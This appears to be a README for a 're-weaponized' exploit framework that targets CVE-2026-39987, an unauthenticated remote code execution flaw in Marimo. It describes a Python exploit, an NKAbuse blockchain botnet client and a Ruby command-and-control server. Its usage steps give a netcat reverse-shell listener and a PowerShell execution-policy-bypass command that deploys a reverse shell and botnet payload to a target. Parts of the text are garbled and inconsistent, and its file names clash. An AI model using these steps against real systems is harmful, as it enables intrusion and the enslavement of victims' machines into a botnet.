Exploit framework for CVE-2026-39987, an unauthenticated RCE in Marimo, with a reverse shell, NKAbuse blockchain botnet payload, and Ruby C2 server.
A Re-Weaponized Critical Marimo RCE research framework for CVE-2026-39987 with a blockchain-based NKAbuse payload workflow.
Overview
The framework includes:
| Component | Description |
| Python Exploit | marimo_rce.py — initial RCE exploit |
| .js Payload | nkabuse_bot.js — NKAbuse botnet client |
| Ruby C2 Server | c2Serverv4.rb — command and control server for botnet management |
JavaScript Payload:
nkabuse_bot.js
marimo_rce.py to create a blockchain-based botnet.Ruby C2 Server:
c2Serverv4.rb
Run with:
ruby c2Serverv4.rb <lport>
Exploit Workflow
Run the Python Exploit
marimo_rce.py
Exploits CVE-2026-39987 to gain RCE on the target.
Deploys a reverse shell and the NKAbuse botnet client.
nkabuse_bot.js
NKAbuse Botnet Client
nkabuse_bot.js
C2 Server
c2Serverv4.rb
Exploit Details
1. CVE-2026-39987 (Marimo RCE) - RE-WEAPONIZED
/api/v1/execute to execute arbitrary PowerShell code.2. NKAbuse Malware
Usage Instructions
1. Set Up Listener
# On your attacker machine:
nc -lvnp 4444
2. Execute Exploit
# On your attacker machine:
powershell -ep bypass -f neo_marimo_rce.ps1 -TargetUrl "http://vulnerable-target.com" -LHOST "your_ip" -LPORT 4444
3. Expected Output
[+] Exploit successful! Reverse shell and NKAbuse deployed.
[+] Listener should receive connection from http://vulnerable-target.com